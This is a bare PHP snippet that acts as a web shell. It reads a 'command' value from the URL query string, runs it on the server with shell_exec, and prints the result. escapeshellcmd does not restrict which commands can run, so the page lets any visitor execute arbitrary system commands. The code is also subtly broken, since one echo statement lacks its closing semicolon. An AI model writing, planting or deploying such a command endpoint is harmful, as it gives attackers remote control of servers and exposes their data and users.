if(isset($_GET['command'])) {
$command = escapeshellcmd($_GET['command']);
$output = shell_exec($command);
echo "<pre>$output</pre>"
} else {
echo "No command provided.";
}